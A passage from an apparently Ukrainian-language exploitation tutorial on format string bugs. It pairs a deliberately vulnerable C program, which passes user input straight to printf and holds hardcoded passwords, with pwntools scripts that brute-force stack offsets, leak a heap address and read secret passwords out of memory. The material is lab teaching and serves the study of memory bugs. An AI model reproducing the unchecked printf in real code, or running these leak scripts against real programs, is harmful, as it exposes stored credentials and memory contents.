from pwn import*p =process('./fs-read')payload =f"%11$s|||||".encode()payload +=p64(0x00400000)p.sendline(payload)log.info(p.clean())
Зміщення становить 11, оскільки встановлення декількох символів A та перебір з використанням циклу від 0 до 50 показав, що при зміщенні 11 та додаванні 5 додаткових символів (трубок | у нашому випадку) можна контролювати повну адресу.
Я використовував %11$p з додаванням пробілів до того, поки адреса не стала 0x4141414141414141.
Пакет даних у форматі рядка знаходиться ПЕРЕД адресою, оскільки функція printf зупиняється на нульовому байті, тому якщо ми надішлемо адресу, а потім рядок формату, функція printf ніколи не дійде до рядка формату, оскільки буде знайдено нульовий байт.
Вибрана адреса - 0x00400000, оскільки це місце початку бінарного файлу (без PIE)
#include<stdio.h>#include<string.h>char bss_password[20] ="hardcodedPassBSS"; // Password in BSSintmain() {char stack_password[20] ="secretStackPass"; // Password in stackchar input1[20], input2[20];printf("Enter first password: ");scanf("%19s", input1);printf("Enter second password: ");scanf("%19s", input2);// Vulnerable printfprintf(input1);printf("\n");// Check both passwordsif (strcmp(input1, stack_password)==0&&strcmp(input2, bss_password)==0) {printf("Access Granted.\n");} else {printf("Access Denied.\n");}return0;}
Скомпілюйте його за допомогою:
clang-ofs-readfs-read.c-Wno-format-security
Читання зі стеку
Змінна stack_password буде збережена у стеці, оскільки це локальна змінна, тому достатньо просто зловживати printf, щоб показати вміст стеку. Це експлойт для BF перших 100 позицій для витоку паролів зі стеку:
from pwn import*for i inrange(100):print(f"Try: {i}")payload =f"%{i}$s\na".encode()p =process("./fs-read")p.sendline(payload)output = p.clean()print(output)p.close()
У зображенні можна побачити, що ми можемо витікати пароль зі стеку на 10-й позиції:
Читання даних
Запускаючи той самий експлойт, але з %p замість %s, можна витікати адресу купи зі стеку на %25$p. Більше того, порівнюючи витікнуту адресу (0xaaaab7030894) з позицією пароля в пам'яті в цьому процесі, ми можемо отримати різницю адрес:
Тепер час знайти, як керувати однією адресою в стеці, щоб мати до неї доступ з другої вразливості у форматі рядка:
from pwn import*defleak_heap(p):p.sendlineafter(b"first password:", b"%5$p")p.recvline()response = p.recvline().strip()[2:] #Remove new line and "0x" prefixreturnint(response, 16)for i inrange(30):p =process("./fs-read")heap_leak_addr =leak_heap(p)print(f"Leaked heap: {hex(heap_leak_addr)}")password_addr = heap_leak_addr -0x126aprint(f"Try: {i}")payload =f"%{i}$p|||".encode()payload +=b"AAAAAAAA"p.sendline(payload)output = p.clean()print(output.decode("utf-8"))p.close()
І це можливо побачити в спробі 14 з використанням передачі, ми можемо контролювати адресу:
Зловживання
from pwn import*p =process("./fs-read")defleak_heap(p):# At offset 25 there is a heap leakp.sendlineafter(b"first password:", b"%25$p")p.recvline()response = p.recvline().strip()[2:] #Remove new line and "0x" prefixreturnint(response, 16)heap_leak_addr =leak_heap(p)print(f"Leaked heap: {hex(heap_leak_addr)}")# Offset calculated from the leaked position to the possition of the pass in memorypassword_addr = heap_leak_addr +0x1f7bcprint(f"Calculated address is: {hex(password_addr)}")# At offset 14 we can control the addres, so use %s to read the string from that addresspayload =f"%14$s|||".encode()payload +=p64(password_addr)p.sendline(payload)output = p.clean()print(output)p.close()